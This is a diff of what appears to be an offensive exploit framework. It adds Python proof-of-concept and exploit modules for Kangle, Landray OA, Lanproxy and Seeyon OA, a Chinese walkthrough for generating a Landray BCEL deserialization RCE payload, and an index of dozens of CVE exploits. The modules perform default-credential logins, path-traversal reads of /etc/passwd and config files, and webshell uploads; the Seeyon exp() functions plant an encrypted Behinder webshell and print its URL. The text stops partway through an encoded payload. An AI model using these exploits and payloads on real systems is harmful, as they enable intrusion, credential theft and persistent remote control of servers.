@@ -0,0 +1,44 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import requests
from Config.config_requests import ua
requests.packages.urllib3.disable_warnings()
# 脚本信息
######################################################
NAME = 'Kangle_Console_default_password'
AUTHOR = "RabbitMask"
REMARK = 'kangle Console default password'
FOFA_RULE = 'app="kangle-easypanel"'
######################################################
def poc(target):
result={}
headers = {
"User-Agent": ua,
'Content-Type': 'application/x-www-form-urlencoded',
}
data = {
"username": "admin",
"passwd": "kangle",
}
try:
r = requests.post(target + "/admin/index.php?c=session&a=login", headers=headers, data=data, verify=False, timeout=5,allow_redirects=False)
if r.status_code==302:
result['target'] = target
result['poc'] = NAME
result['url'] = target+'/admin/index.php?c=session&a=login'
result['username'] = 'admin'
result['password'] = 'kangle'
return result
except:
pass
if __name__ == '__main__':
poc("http://127.0.0.1:3312")

View File

@@ -0,0 +1,37 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import requests
from Config.config_requests import headers
from requests.packages.urllib3.exceptions import InsecureRequestWarning
########################################################################################################################
# 脚本信息
NAME='Landray_OA_anyfile_read'
AUTHOR="Faith"
REMARK='蓝凌OA custom.jsp 任意文件读取漏洞'
FOFA_RULE='app="Landray-OA系统"'
########################################################################################################################
def poc(target):
result={}
url = target + "/sys/ui/extend/varkind/custom.jsp"
data = 'var={"body":{"file":"file:///etc/passwd"}}'
# data = 'var={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}'
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
r = requests.post(url=url,headers=headers,data=data,verify=False,timeout=3)
if r.status_code == 200 and "root:x:0" in r.text:
result["target"] = target
result["poc"] = NAME
result["url"] = url
return result
else:
pass
except:
pass
if __name__ == '__main__':
poc("http://127.0.0.1/")

View File

@@ -0,0 +1,114 @@
# 1、漏洞描述
蓝凌OA部分版本存在漏洞前台即可实现RCE命令执行直接getshell。
# 2、漏洞复现
# 2.1、生成payload
需要运行两段java代码生成payload。
FastJsonEchoBCEL.java
更改shell变量的内容即可将exp BASE64加密后替换这里jdk要用低版本否则无法导入BASE64Decoder包貌似用jdk1.7、jdk1.8均可);
```java
import java.io.PrintWriter;
import sun.misc.BASE64Decoder;
public class FastJsonEchoBCEL {
public FastJsonEchoBCEL() throws Exception {
}
public static void main(String[] args) throws Exception {
new FastJsonEchoBCEL();
}
static {
try {
Class cls=Thread.currentThread().getContextClassLoader().loadClass("bsh.Interpreter");
String path=cls.getProtectionDomain().getCodeSource().getLocation().getPath();
PrintWriter printWriter2 = new PrintWriter(path.split("WEB-INF")[0] + "login_test.jsp");
String shell = "PCVvdXQucHJpbnRsbigidGhpcyBpcyBhIGZyaWVuZGx5IHRlc3QsIFBsZWFzZSBjaGVjayBhbmQgcmVwYWlyIHZ1bG5lcmFiaWxpdGllcy4iKTslPg==";
BASE64Decoder decoder = new BASE64Decoder();
String decodeString = new String(decoder.decodeBuffer(shell), "UTF-8");
printWriter2.println(decodeString);
printWriter2.close();
} catch (Exception var5) {
}
}
}
```
main.java
这里需要使用maven导入org.apache.bcel包具体方法见下面
```
import org.apache.bcel.Repository;
import org.apache.bcel.classfile.JavaClass;
import org.apache.bcel.classfile.Utility;
import java.io.IOException;
public class main {
public static void main(String[] args) throws ClassNotFoundException, IOException {
JavaClass javaClass = Repository.lookupClass(FastJsonEchoBCEL.class);
String codes = Utility.encode(javaClass.getBytes(), true);
System.out.println("$$BCEL$$"+codes);
}
}
```
关于这两段代码如何运行建议使用idea软件。本地新建一个文件夹右键以idea的project方式打开。
在idea软件中右键该名称的项目文件夹新建-->新模块选择Maven点下一步点完成创建成功。
将上面两端代码复制到本地文件中文件名要与上面写的一样然后两个文件复制到创建的src/main/java目录下。
打开pom.xml将如下内容复制到文件中
```
<dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.bcel/bcel -->
<dependency>
<groupId>org.apache.bcel</groupId>
<artifactId>bcel</artifactId>
<version>5.2</version>
</dependency>
</dependencies>
```
![](image-20210913144734740.png)
文件-->项目结构-->项目中选择相应的jdk版本然后执行main.java即可得到payload。
# 2.2、漏洞验证
POST
将如上得到的payload替换下面<string></string>标签内的内容即可。
```
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 2907
var={"body":{"file":"/sys/search/sys_search_main/sysSearchMain.do?method=editParam"}}&fdParemNames=11&fdParameters=<java><void+class%3d"com.sun.org.apache.bcel.internal.util.ClassLoader"><void+method%3d"loadClass"><string>$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$dbV$dbF$U$dd$D62B$E0$98KHI$934$N$Q$c0$N$974$e5$da$d8$60c0$E0$d8$b1iKeY$d8rdI$95d$Ci$ff$a7$cfy1$5de$ad$7e$40$7f$a8o$5d$3d$psu$dd$8b$d7$d2$5c$ce$ec$d9$3ag$9f$99$p$ff$fe$e7$af$bf$B$98$c5O$o$kbA$c0$a2$88$W$y$88X$c22oV$C$f8Z$c4kDDD$b1$wb$N1$Rq$ac$8bH$60C$c0$a6$80$a4$88N$y$E$b0$rb$Q$db$7c$f2$s$80$j$de$ef$8a$90$b0$X$40J$c0$be$88$7e$ce$7e$c0$fbt$A$Z$O$7e$cb$d7$b3$bc$c9$J8$U$f0$NC$db$a2fh$ee2C$eb$e8X$9a$c1$X5$L$wCWR3$d4$edj$r$af$da$fbr$5e$tK0i$w$b2$9e$96m$8d$cf$_$8d$3e$b7$a49$MO$93$8e$ad$84$x$b2f$84$cb$f2$89$ivU$c7$N$c7d$c7$ddpLcM$v$99$91$e8Zr$81A$5c$3bUT$cb$d5L$836$f98$9e$a1$7f$f40$e9m$d2e$a3$YN$b9$b6f$U$X$3cOd$bbH$b0$de$s$cb$M$81EE$bf$f2$5b$d1$J$d6s$L$V$d5e$c7$n$90$cf$92$dd$S$f7$bc$J$81d$d1$c0$cd$d8$9a$ab$da$d3$M$a1$3aF3$c3$3b7v$82$f9$9d$92$aa$eb$MBAUH$Y$9ba0$e9T$8dpEs$94p$e4uj$ed$e5$ecj$7d$85s$d6A$f5w0t$a6$5cYy$b7$r$5b$9eX$a47$J$902$ab$b6$a2$c64$$$5e$a8Q$a1$v$ee$83$84O$f1$88$e1$c9$ffPT$c0$b7$S$be$c3$91$84$ef$nS$ce$f2Ni$wa$90$e3$96$adR$x$m$_AAA$80$w$e1$YE$B$r$J$g$ca$C$deI$d0Q$R$60H0a$91$c6M$82g$Yh$94$zR$d5tO$D$n$b3$W$99Ll$c7$q$fc$A$5b$82$D$97$e1$9en$W5$e3H$d7$iw$aa$ecX$S$aa$b0x$y$t$M$eeN4$7dRx$bb$5bU$d67$ac$bc$b1$e7$e4$b5$a2V$88$97$y$e5$y$c2$9fR$o$9e$3b$933$e9j$$$7e$3a$97X$df$d3$95$99$5d$t$R$8b8$b9L$ecC$$$V$v$cb$f1tY$s$5c$be$b2$5bT$w$e9$f7$d9$8c$7e$96X$cf$bd$c8$c7$e7t$a5$S$d3$e4$cc$a9U$88$eb$bar6$abm$ee$3b$faNqi$89NV$f3D1t7$G$s$e1$3dN$v$d9$H$fb$b1$c9W$dc$e93$J$lp$o$e1G$9e$8a$de$h$f8$f5$f9$bdC$f2$s_V$V$f7$8ei$bfd$abr$81$ce$80R$b5m$d5p$af$e6$7d$a3c$c9F$U$9d$9cPQu$a3$s$a5$ee$d4$f5$Oo$d2$94$3dO$87$ee$c0o$z$f1$3dM$X$Y$dau$gx$W$ba$98$a3M$eeV$93$9b$d2$d5$60$a2$a0$c9$a3$j$dbt$v0$Kw$d5$ac_$d6$c7W$fe8$w$F$a6$b9g$e1F$M$91$8d$fc$3b$82D$f1$a2$a5$8b$e2$5d$G$86$H$7fc$bdY$r$be$c1$7fZc$e8$m$s$5e$97$$Sr$c5c$a8n$f8$60$8fW$i$e9$f6$9c$O$$$8f$ca$x$Kw$Tq$5d$W$fc$8e$a5k$94$cag$cd$84kZ$89$dad$cbR$NJ$ed$e4$7fh$7d$e7$O$f1$S$e6$9aW$95$o$d4lk$fa$ba$a0D$aa$c7$c7$3c$b3$fdM$9d$8a$d0M$j$3d$8c4g$Q$bc2$a7$938$7eE7$j$V$8f$e8$5b$f3$Q$fc$d7$K$c6K$N$cd$l$d3l$86f$8cz$ff$f89$d8G$g$b4$e0$J$b5$fc$d3$E$I$f0$n$80$cfh$q$d5Ax$8a$cf$a9$7fF$8f$8f$y$ph$c7$u$c6$$$a9$be$a4$9e$a3$da$_$d0$92$3dGk$a6$91$ae$83$c8$a4$5bt$ed$Y$c7$f3$3bt$BL$90g$8c$d3$b1Vz$5d$h$ad$94$7e$81$af$G$7f$b0$ad$Gas$bc$86$40$N$ed5$885t$q$_$me$_$d0I$_$bb$f7$3c$d8UCw$ebt$N$3d$c1$m55$f4$9e$a3o$x$Y$da$be$40$3f$B$G$e6$7d$X$Y$cc$O$f9$sk$Y$K$de$3f$c7$f0$bc$7fb$c8_$c3$83$89$g$3e$f9$Z$be$cd$8f$9eO$KU$cc$R$d2$88$7b$3dE$k$D$dd$e4m$P$ee$p$88E$f4b$F$7dXG$IY$fa$ba$ka$80$f0C$b4c$QE$M$7b$91$z$93$cf$S2$98$a4$dd$a0$5d$J$84$f1$F1$_R$94$_0M$3a$ac$Qn$86l$ad$c43L$7f$H$e6$u$f6$y$v$f4$92l$7e$S$91$eb$d2$f2$H$8e$F$bc$o$V$f0$95$t$e2$fc_$3f$bb$d2$b6$3e$I$A$A</string><void+method%3d"newInstance"></void></void></void></java>
```
# 3、poc
payload需要手工单独生成。
poc配合框架可批量。

View File

@@ -0,0 +1,42 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import requests
from Config.config_requests import ua
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# 脚本信息
######################################################
NAME='Landray_OA_xmldecoder_getshell'
AUTHOR="境心"
REMARK='蓝凌OA xmldecoder 反序列化漏洞'
FOFA_RULE='app="Landray-OA系统"'
######################################################
def poc(target):
result = {}
target_url = target+"/sys/ui/extend/varkind/custom.jsp"
headers = {
"User-Agent": ua,
"Accept": "text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-cn",
"Accept-Encoding": "gzip, deflate", "Origin": "null", "Connection": "close", "Upgrade-Insecure-Requests": "1",
"Content-Type": "application/x-www-form-urlencoded"
}
data = {"var": "{\"body\":{\"file\":\"/sys/search/sys_search_main/sysSearchMain.do?method=editParam\"}}",
"fdParemNames": "11",
"fdParameters": "<java><void class=\"com.sun.org.apache.bcel.internal.util.ClassLoader\"><void method=\"loadClass\"><string>$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$dbV$dbF$U$dd$D62B$E0$98KHI$934$N$Q$c0$N$974$e5$da$d8$60c0$E0$d8$b1iKeY$d8rdI$95d$Ci$ff$a7$cfy1$5de$ad$7e$40$7f$a8o$5d$3d$psu$dd$8b$d7$d2$5c$ce$ec$d9$3ag$9f$99$p$ff$fe$e7$af$bf$B$98$c5O$o$kbA$c0$a2$88$W$y$88X$c22oV$C$f8Z$c4kDDD$b1$wb$N1$Rq$ac$8bH$60C$c0$a6$80$a4$88N$y$E$b0$rb$Q$db$7c$f2$s$80$j$de$ef$8a$90$b0$X$40J$c0$be$88$7e$ce$7e$c0$fbt$A$Z$O$7e$cb$d7$b3$bc$c9$J8$U$f0$NC$db$a2fh$ee2C$eb$e8X$9a$c1$X5$L$wCWR3$d4$edj$r$af$da$fbr$5e$tK0i$w$b2$9e$96m$8d$cf$_$8d$3e$b7$a49$MO$93$8e$ad$84$x$b2f$84$cb$f2$89$ivU$c7$N$c7d$c7$ddpLcM$v$99$91$e8Zr$81A$5c$3bUT$cb$d5L$836$f98$9e$a1$7f$f40$e9m$d2e$a3$YN$b9$b6f$U$X$3cOd$bbH$b0$de$s$cb$M$81EE$bf$f2$5b$d1$J$d6s$L$V$d5e$c7$n$90$cf$92$dd$S$f7$bc$J$81d$d1$c0$cd$d8$9a$ab$da$d3$M$a1$3aF3$c3$3b7v$82$f9$9d$92$aa$eb$MBAUH$Y$9ba0$e9T$8dpEs$94p$e4uj$ed$e5$ecj$7d$85s$d6A$f5w0t$a6$5cYy$b7$r$5b$9eX$a47$J$902$ab$b6$a2$c64$$$5e$a8Q$a1$v$ee$83$84O$f1$88$e1$c9$ffPT$c0$b7$S$be$c3$91$84$ef$nS$ce$f2Ni$wa$90$e3$96$adR$x$m$_AAA$80$w$e1$YE$B$r$J$g$ca$C$deI$d0Q$R$60H0a$91$c6M$82g$Yh$94$zR$d5tO$D$n$b3$W$99Ll$c7$q$fc$A$5b$82$D$97$e1$9en$W5$e3$88$3b$3aUv$y$JUX$3c$96$T$Gw$t$9a$3e$v$bc$dd$ad$w$eb$hV$de$d8s$f2ZQ$x$c4K$96r$W$e1O$v$R$cf$9d$c9$99t5$X$3f$9dK$ac$ef$e9$ca$cc$ae$93$88E$9c$5c$s$f6$n$97$8a$94$e5x$ba$y$T$$_$d9$z$w$95$f4$fblF$3fK$ac$e7$5e$e4$e3s$baR$89ir$e6$d4$w$c4u$5d9$9b$d56$f7$j$7d$a7$b8$b4D$t$aby$a2$Y$ba$h$D$93$f0$k$a7$94$ec$83$fd$d8$e4$x$ee$f4$99$84$P8$91$f0$pOE$ef$N$fc$fa$fc$de$ny$93$_$ab$8a$7b$c7$b4_$b2U$b9$40g$40$a9$da$b6j$b8W$f3$be$d1$b1d$p$8aNN$a8$a8$baQ$93Rw$eaz$877i$ca$9e$a7Cw$e0$b7$96$f8$9e$a6$L$M$ed$3a$N$3c$L$5d$cc$d1$sw$ab$c9M$e9j0Q$d0$e4$d1$8em$ba$U$Y$85$bbj$d6$_$eb$e3$x$7f$i$95$C$d3$dc$b3p$p$86$c8F$fe$jA$a2x$d1$d2E$f1$$$D$c3$83$bf$b1$de$ac$S$df$e0$3f$ad1t$Q$T$afK$97$v$b9$e21T7$7c$b0$c7$x$8et$7bN$H$97G$e5$V$85$bb$89$b8$$$L$7e$c7$d25J$e5$b3f$c25$adDm$b2e$a9$G$a5v$f2$3f$b4$bes$87x$Js$cd$abJ$Rj$b65$7d$5dP$o$d5$e3c$9e$d9$fe$a6NE$e8$a6$8e$kF$9a3$I$5e$99$d3I$i$bf$a2$9b$8e$8aG$f4$ady$I$fek$F$e3$a5$86$e6$8fi6C3F$bd$7f$fc$i$ec$p$NZ$f0$84Z$fei$C$E$f8$Q$c0g4$92$ea$m$3c$c5$e7$d4$3f$a3$c7G$96$R$b4c$Uc$97T_R$cfQ$ed$Xh$c9$9e$a35$d3H$d7Ad$d2$z$bav$8c$e3$f9$j$ba$A$s$c83$c6$e9X$x$bd$ae$8dVJ$bf$c0W$83$3f$d8V$83$b09$5eC$a0$86$f6$g$c4$g$3a$92$X$90$b2$X$e8$a4$97$dd$7b$k$ec$aa$a1$bbu$ba$86$9e$60$90$9a$gz$cf$d1$b7$V$Mm_$a0$9f$A$D$f3$be$L$Mf$87$7c$935$M$F$ef$9fcx$de$3f1$e4$af$e1$c1D$N$9f$fc$M$df$e6G$cf$t$85$w$e6$Ii$c4$bd$9e$o$8f$81n$f2$b6$H$f7$R$c4$oz$b1$82$3e$ac$p$84$y$7d$5d$8f0$40$f8$n$da1$88$o$86$bd$c8$96$c9g$J$ZL$d2n$d0$ae$E$c2$f8$82$98$X$v$ca$X$98$s$jV$I7C$b6V$e2$Z$a6$bf$Ds$U$7b$96$UzI6$3f$89$c8ui$f9$D$c7$C$5e$91$K$f8$ca$Tq$fe$_$99$bd$a4$e2$3e$I$A$A</string><void method=\"newInstance\"></void></void></void></java>\r\n"}
requests.post(target_url, headers=headers, data=data, timeout=5, verify=False)
poc_url = target+"/login_test.jsp"
res = requests.get(poc_url, timeout=5, verify=False)
if res.status_code == 200 and "this is a friendly test" in res.text:
result['poc'] = NAME
result['poc_url'] = poc_url
return result
if __name__ == '__main__':
poc("http://127.0.0.1")

Binary file not shown.

After

Width:  |  Height:  |  Size: 83 KiB

View File

@@ -0,0 +1,39 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# 脚本信息
######################################################
NAME='CVE-2021-3019'
AUTHOR="Joker"
REMARK='Lanproxy 目录遍历漏洞 '
FOFA_RULE='header= "Server: LPS-0.1"'
######################################################
def poc(target):
result={}
vuln_url = target + "/..%2Fconf/config.properties"
headers = {
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6",
"Upgrade-Insecure-Requests": "1"
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
r = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
if "config.server" in r.text and r.status_code == 200:
result['target'] = target
result['poc'] = NAME
result['data'] = str(r.text)
return result
else:
pass
except Exception as e:
pass
if __name__ == '__main__':
poc("http://127.0.0.1")

110
Moudle/Moudle_index.py Normal file
View File

@@ -0,0 +1,110 @@
MOUDLE_NUM=26
PAYLOAD_NUM=55
# AlibabaCanal
from Moudle.AlibabaCanal import Alibaba_Canal_Info_Leak
# Apache
from Moudle.Apache import CVE_2021_41773
# Confluence
from Moudle.Confluence import CVE_2021_26084
# Demo
from Moudle.Demo import Demo
from Moudle.Demo import Test
# Discuz
from Moudle.Discuz import discuz_version_change_getshell
# Drupal
from Moudle.Drupal import CVE_2018_7600
# ESAFENET
from Moudle.ESAFENET import CNVD_2021_26058
# EyouCMS
from Moudle.EyouCMS import EyouCMS_qiantai_rce
# F5
from Moudle.F5 import CVE_2020_5902
from Moudle.F5 import CVE_2021_22986
# Fikker
from Moudle.Fikker import Fikker_admin
# Inspur
from Moudle.Inspur import Inspur_Any_user_login
from Moudle.Inspur import CVE_2020_21224
from Moudle.Inspur import Inspur_sysShell_RCE
# Jeecms
from Moudle.Jeecms import Jeecms_ssrf_getshell
# Kangle
from Moudle.Kangle import Kangle_Console_default_password
# Landray
from Moudle.Landray import Landray_OA_anyfile_read
from Moudle.Landray import Landray_OA_xmldecoder_getshell
# Lanproxy
from Moudle.Lanproxy import CVE_2021_3019
# Nexus
from Moudle.Nexus import CVE_2019_7238
# Seeyon
from Moudle.Seeyon import CNVD_2019_19299
from Moudle.Seeyon import CNVD_2020_62422
from Moudle.Seeyon import CNVD_2021_01627
from Moudle.Seeyon import Information_seeyou
from Moudle.Seeyon import Seeyon_OA_SessionLeak_Upload
from Moudle.Seeyon import Seeyon_OA_Session_Leak
from Moudle.Seeyon import Seeyon_OA_SQLInjection
# SonarQube
from Moudle.SonarQube import CVE_2020_27986
# Spring
from Moudle.Spring import CVE_2022_22947
# TDXK
from Moudle.TDXK import TDXK_Any_file_upload
from Moudle.TDXK import TDXK_Any_user_login
from Moudle.TDXK import TDXK_logined_any_file_upload
from Moudle.TDXK import TDXK_online_user_login
from Moudle.TDXK import TDXK_weakpwd
# TianQing
from Moudle.TianQing import TianQing_SQLinjection
from Moudle.TianQing import TianQing_Unauthorized
# VCenter
from Moudle.VCenter import CVE_2021_21972
from Moudle.VCenter import CVE_2021_22005
# VRealize
from Moudle.VRealize import CVE_2021_21975
from Moudle.VRealize import CVE_2021_21983
# Weaver
from Moudle.Weaver import CNVD_2019_32204
from Moudle.Weaver import Weaver_e_Bridge_file_read
from Moudle.Weaver import Weaver_e_Cology_RCE
from Moudle.Weaver import Weaver_e_cology_v9_file_upload
from Moudle.Weaver import Weaver_OA_V8_sqlinjection
# Weblogic
from Moudle.Weblogic import CVE_2014_4210
from Moudle.Weblogic import CVE_2017_10271
from Moudle.Weblogic import CVE_2018_2894
from Moudle.Weblogic import CVE_2019_2725
from Moudle.Weblogic import CVE_2020_16882
from Moudle.Weblogic import CVE_2021_2109
from Moudle.Weblogic import Weblogic_Console_Info_Leak
# Zabbix
from Moudle.Zabbix import CVE_2016_10134
from Moudle.Zabbix import Zabbix_Console_default_password

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,52 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import sys
import requests
import base64
from Config.config_requests import ua
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# 脚本信息
######################################################
NAME='CNVD-2019-19299'
AUTHOR="Joker"
REMARK='致远OA A8 htmlofficeservlet RCE '
FOFA_RULE='title="致远A8-V5协同管理软件 V6.1sp1"'
######################################################
def poc(target):
result = {}
vuln_url = target + "/seeyon/htmlofficeservlet"
headers = {
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36",
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
r = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
if r.status_code==200 and 'htmoffice' in r.text:
result['target'] = target
result['poc'] = NAME
return result
except:
pass
def exp(target):
print('[#]开始写入webshell')
vuln_url= target + "/seeyon/htmlofficeservlet"
payload="REJTVEVQIFYzLjAgICAgIDM1MSAgICAgICAgICAgICAwICAgICAgICAgICAgICAgNTMzICAgICAgICAgICAgIERCU1RFUD1PS01MbEtsVgpPUFRJT049UzNXWU9TV0xCU0dyCmN1cnJlbnRVc2VySWQ9elVDVHdpZ3N6aUNBUExlc3c0Z3N3NG9Fd1Y2NgpDUkVBVEVEQVRFPXdVZ2hQQjNzekIzWHdnNjYKUkVDT1JESUQ9cUxTR3c0U1h6TGVHdzRWM3dVdzN6VW9Yd2lkNgpvcmlnaW5hbEZpbGVJZD13VjY2Cm9yaWdpbmFsQ3JlYXRlRGF0ZT13VWdoUEIzc3pCM1h3ZzY2CkZJTEVOQU1FPXFmVGRxZlRkcWZUZFZheEplQUpRQlJsM2RFeFF5WU9kTkFsZmVheHNkR2hpeVlsVGNBVGRPUldaTjF5dmRSMzVuSHpzCm5lZWRSZWFkRmlsZT15UldaZEFTNgpvcmlnaW5hbENyZWF0ZURhdGU9d0xTR1A0b0V6TEtBejQ9aXo9NjYKPCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmF4LmNyeXB0by5zcGVjLioiJT48JSFjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7VShDbGFzc0xvYWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsYXNzIGcoYnl0ZSBbXWIpe3JldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdWFscygiUE9TVCIpKXtTdHJpbmcgaz0iM2M5NjFmNDlkNWZhOTZjNSI7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTt9JT42ZTRmMDQ1ZDRiODUwNmJmNDkyYWRhN2UzMzkwZDdjZQ=="
data = base64.b64decode(payload)
headers = {
"User-Agent": ua,
"Content-Type": "application/x-www-form-urlencoded",
}
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
r = requests.post(url=vuln_url,headers=headers,data=data,verify=False,timeout=5)
if r.status_code==500 and '"message":null' in r.text:
print('[+]成功写入webshell')
print('[+]默认冰蝎Webshell地址(szxsd):' + target + '/seeyon/Faltform.jsp')
else:
print('写入webshell失败')
if __name__ == '__main__':
poc("https://127.0.0.1")

View File

@@ -0,0 +1,30 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import requests
from Config.config_requests import ua, headers
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# 脚本信息
######################################################
NAME='CNVD_2020_62422'
AUTHOR="Joker"
REMARK='致远OA webmail.do任意文件下载检测'
FOFA_RULE='title="致远'
######################################################
def poc(target):
result = {}
vuln_url = target + "/seeyon/webmail.do?method=doDownloadAtt&filename=test.txt&filePath=../conf/datasourceCtp.properties"
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
r = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
if 'workflow.dialect' in r.text and r.status_code==200:
result['target'] = target
result['poc'] = NAME
return result
except:
pass
if __name__ == '__main__':
poc('http://127.0.0.1')

View File

@@ -0,0 +1,50 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import sys
import requests
from Config.config_requests import ua
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# 脚本信息
######################################################
NAME='CNVD-2021-01627'
AUTHOR="Joker"
REMARK='致远OA ajax.do登录绕过 任意文件上传'
FOFA_RULE='title="致远"'
######################################################
def poc(target):
result = {}
test_url1 = target + "/seeyon/thirdpartyController.do.css/..;/ajax.do"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36",
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
r = requests.get(url=test_url1, headers=headers, verify=False, timeout=5)
if 'java.lang.NullPointerException:null' in r.text:
result['target'] = target
result['poc'] = NAME
return result
except:
pass
def exp(target):
print('\033[32m[#]开始写入webshell')
test_url2 = target + "/seeyon/autoinstall.do.css/..;/ajax.do?method=ajaxAction&managerName=formulaManager&requestCompress=gzip"
headers={
"User-Agent": ua,
"Content-Type": "application/x-www-form-urlencoded",
}
data="managerMethod=validate&arguments=%1F%C2%8B%08%00%C3%9F%C2%8B%C3%B6%60%00%C3%BFuT%5Bs%C2%AA%C3%88%13%7F%C3%9FOa%C3%B9bR9k%10%C3%A4%18%C3%BF%C2%A7%C3%B6%21%5E%40D%C2%89%C2%82r%C3%BB%C3%97%3E%C3%80%0C%C3%A1%C3%A2%0C%C2%B0%0E%20c%C3%AA%7C%C3%B73%C2%80%C2%A9%C3%A4%C3%94fy%C2%99%C2%9E%C2%A6%C3%BB7%C3%9D%C2%BF%C2%BE%C3%BC%C3%BFm%C3%B0%C2%9A%C2%9Dq%C2%89%C2%BC%03%C3%8D%C2%83%C3%81%C3%BFz%C2%A3o%C2%BDw%C2%8D%C3%A6%C3%A1F3%28%02R%0C%3E%C3%94%C3%8B%3A%3F%07%C2%84%C3%84Y%C3%9A%C3%BC4%C2%8As%C2%9C%C2%86%C2%BD%C3%9C%2B%C2%A2%C3%9E%5F%C2%BD%C3%BEp%C3%B8x%09%7C%2F%C3%8F%C3%89%23%09%02%C2%9A%C2%A5%C2%8F%C3%BD%1F%7F%C3%B4n%5F%C3%A2U%C3%9E0%C3%8E%C2%86%3B%C3%A6RX%C3%A7%C2%B8%08%C3%8E%C2%BD%C3%BCC%C3%A6%19%40%1A%5C%C2%BE2%C2%BBk%C3%B0%1F%C3%BA%C2%92%C2%87%C2%8A%26%C2%8AaB%C3%B2%C2%BA%7F%C3%BF%C2%81%7C%C2%8B%C2%82D%01BM%18%3B9%C2%BF%C2%82EN%7D%7E%C3%8A%29%C2%AB%C2%A8%C3%B0e%C3%B1%C3%BA%C2%82%1B%1D%17%7B%2B%C2%9D%03%C2%8B%C2%AC%C3%9A%C3%B0y%04%C3%B1%C2%B2%04%C2%82Yn%C2%B0V%C3%B9%C3%86T%3D%C2%8E%C2%9E%C2%AB%C2%A3%2C%C2%A5%C2%AE%C2%A1%C2%84%10%C2%9B%14%C3%B0%C2%A8%C3%B2%13%2E%C3%9E%1Ac%C2%AA%24%C3%A3%27%2F%C3%95%2E%2FX%C3%8F%016%13%28%23%C3%9E5%C3%84%C2%8BcA%C2%A4%C3%88%C2%A8%00%C3%B2%C2%94%C3%82%06%1FK%C2%BCc%C2%88%23%C3%B6%C2%9Fl%C3%A2%C2%8C%C2%B4w%3B%2C%1Da%2D%C2%82%C2%95%5E%7D%C2%A9c%C2%B8%C2%AE%C2%B5%2D%C3%95X%C2%A9vI%C3%BD%0F%10%C2%9E%C2%BF%C2%BB%C2%B2%C2%99%C3%B8%C2%B2D%1D%5B%C3%8F%7D%7E%C3%BC%C2%A0%C3%88%1Aql%C3%AD%C2%AAH%C3%87%C3%90%C2%B5%23%C3%8E%C2%B5%C3%84%13%C2%A0%C2%B3%05%C2%B3%C2%B9%02%C2%AE%C2%AE%1CKG%20%2DLu%C3%99%C3%99%1D%C3%A4i%C3%840%C2%A8%22o%C3%B3%40%C3%90F%C2%80%C3%89%2A%C2%93%5F%C2%84%C3%91%05Zk%C3%A2Y%C3%9Bp%C3%8F%C3%97%11%10%C2%B6%C2%A1K%C2%A38%C2%B0u%C2%A4H%05tb4a%C3%B9q%C3%90%5E%C2%97%C3%8A%C2%AA%C3%B3%C3%9B%60%1D%C2%B9%18%C2%95%C3%AE%C2%B1%C3%83Ve